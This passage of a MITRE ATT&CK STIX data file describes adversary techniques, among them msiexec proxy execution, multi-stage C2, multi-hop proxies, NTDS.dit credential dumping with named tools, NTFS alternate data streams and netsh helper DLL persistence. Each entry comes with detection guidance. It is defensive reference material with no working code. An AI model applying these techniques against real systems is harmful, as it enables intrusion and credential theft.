            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.007",
                    "url": "https://attack.mitre.org/techniques/T1218/007"
                },
                {
                    "source_name": "Microsoft msiexec",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec",
                    "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020."
                },
                {
                    "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/",
                    "source_name": "LOLBAS Msiexec"
                },
                {
                    "source_name": "TrendMicro Msiexec Feb 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/",
                    "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."
                },
                {
                    "source_name": "Microsoft AlwaysInstallElevated 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated",
                    "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-12-14T18:40:45.170Z",
            "created": "2020-01-24T14:38:49.266Z",
            "x_mitre_contributors": [
                "Alexandros Pappas"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.",
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Module: Module Load",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1104",
                    "external_id": "T1104"
                }
            ],
            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",
            "name": "Multi-Stage Channels",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-07-14T19:43:38.181Z",
            "created": "2017-05-31T21:31:15.935Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
            "name": "Multi-hop Proxy",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1188",
                    "external_id": "T1188"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-14T23:25:20.928Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1090.003",
                    "url": "https://attack.mitre.org/techniques/T1090/003"
                },
                {
                    "source_name": "Onion Routing",
                    "url": "https://en.wikipedia.org/wiki/Onion_routing",
                    "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multi-hop Proxy",
            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.  By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.  This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.  This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. Protocols such as ICMP may be used as a transport.",
            "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-10-21T17:54:28.280Z",
            "created": "2020-03-14T23:23:41.770Z",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ]
        },
        {
            "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Multiband Communication",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1026",
                    "url": "https://attack.mitre.org/techniques/T1026"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-30T13:59:11.272Z",
            "created": "2017-05-31T21:30:32.259Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.",
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "name": "Multilayer Encryption",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1079",
                    "url": "https://attack.mitre.org/techniques/T1079"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "source_name": "SANS Decrypting SSL"
                },
                {
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "source_name": "SEI SSL Inspection Risks"
                },
                {
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "source_name": "Fidelis DarkComet"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-24T14:09:11.589Z",
            "created": "2017-05-31T21:31:01.315Z"
        },
        {
            "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
            "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n",
            "name": "NTDS",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.003",
                    "url": "https://attack.mitre.org/techniques/T1003/003"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Active_Directory",
                    "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
                    "source_name": "Wikipedia Active Directory"
                },
                {
                    "url": "http://adsecurity.org/?p=1275",
                    "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
                    "source_name": "Metcalf 2015"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-12-14T23:08:02.782Z",
            "created": "2020-02-11T18:42:35.572Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_system_requirements": [
                "Access to Domain Controller or backup"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
            ]
        },
        {
            "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
            "name": "NTFS File Attributes",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1096",
                    "url": "https://attack.mitre.org/techniques/T1096"
                },
                {
                    "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
                    "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
                    "source_name": "SpectorOps Host-Based Jul 2017"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                    "source_name": "Microsoft NTFS File Attributes Aug 2010"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa364404",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
                    "source_name": "Microsoft File Streams"
                },
                {
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "source_name": "MalwareBytes ADS July 2015"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "source_name": "Microsoft ADS Mar 2014"
                },
                {
                    "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                    "source_name": "Journey into IR ZeroAccess NTFS EA"
                },
                {
                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "source_name": "Oddvar Moe ADS1 Jan 2018"
                },
                {
                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "source_name": "Oddvar Moe ADS2 Apr 2018"
                },
                {
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "source_name": "Symantec ADS May 2009"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-13T21:04:13.284Z",
            "created": "2017-05-31T21:31:11.147Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.004",
                    "url": "https://attack.mitre.org/techniques/T1564/004"
                },
                {
                    "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
                    "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
                    "source_name": "SpectorOps Host-Based Jul 2017"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                    "source_name": "Microsoft NTFS File Attributes Aug 2010"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa364404",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
                    "source_name": "Microsoft File Streams"
                },
                {
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "source_name": "MalwareBytes ADS July 2015"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "source_name": "Microsoft ADS Mar 2014"
                },
                {
                    "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                    "source_name": "Journey into IR ZeroAccess NTFS EA"
                },
                {
                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "source_name": "Oddvar Moe ADS1 Jan 2018"
                },
                {
                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "source_name": "Oddvar Moe ADS2 Apr 2018"
                },
                {
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "source_name": "Symantec ADS May 2009"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "NTFS File Attributes",
            "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
            "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T22:46:56.308Z",
            "created": "2020-03-13T20:33:00.009Z",
            "x_mitre_contributors": [
                "Oddvar Moe, @oddvarmoe",
                "Red Canary"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "NTFS partitioned hard drive"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host forensic analysis",
                "Signature-based detection"
            ],
            "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "File: File Metadata",
                "File: File Modification",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Native API",
            "description": "Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1106",
                    "url": "https://attack.mitre.org/techniques/T1106"
                },
                {
                    "source_name": "NT API Windows",
                    "url": "https://undocumented.ntinternals.net/",
                    "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020."
                },
                {
                    "source_name": "Linux Kernel API",
                    "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html",
                    "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020."
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "source_name": "GNU Fork",
                    "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html",
                    "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020."
                },
                {
                    "source_name": "Microsoft Win32",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/",
                    "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020."
                },
                {
                    "source_name": "LIBC",
                    "url": "https://man7.org/linux/man-pages//man7/libc.7.html",
                    "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020."
                },
                {
                    "source_name": "GLIBC",
                    "url": "https://www.gnu.org/software/libc/",
                    "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020."
                },
                {
                    "source_name": "Microsoft NET",
                    "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework",
                    "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020."
                },
                {
                    "source_name": "Apple Core Services",
                    "url": "https://developer.apple.com/documentation/coreservices",
                    "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020."
                },
                {
                    "source_name": "MACOS Cocoa",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1",
                    "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020."
                },
                {
                    "source_name": "macOS Foundation",
                    "url": "https://developer.apple.com/documentation/foundation",
                    "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-07-01T16:19:54.646Z",
            "created": "2017-05-31T21:31:17.472Z",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Module: Module Load"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
            "name": "Netsh Helper DLL",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1128",
                    "url": "https://attack.mitre.org/techniques/T1128"
                },
                {
                    "url": "https://technet.microsoft.com/library/bb490939.aspx",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "source_name": "TechNet Netsh"
                },
                {
                    "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
                    "source_name": "Demaske Netsh Persistence"
                },
                {
                    "url": "https://github.com/outflankbv/NetshHelperBeacon",
                    "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
                    "source_name": "Github Netsh Helper CS Beacon"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T14:27:28.869Z",
            "created": "2017-05-31T21:31:40.168Z"
        },
        {
            "created": "2020-01-24T14:26:51.207Z",
            "modified": "2020-03-24T18:28:07.793Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
            "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",
            "name": "Netsh Helper DLL",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.007",
                    "url": "https://attack.mitre.org/techniques/T1546/007"
                },
                {
                    "url": "https://technet.microsoft.com/library/bb490939.aspx",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "source_name": "TechNet Netsh"
                },
                {
                    "url": "https://github.com/outflankbv/NetshHelperBeacon",
                    "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
                    "source_name": "Github Netsh Helper CS Beacon"
                },
                {
                    "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
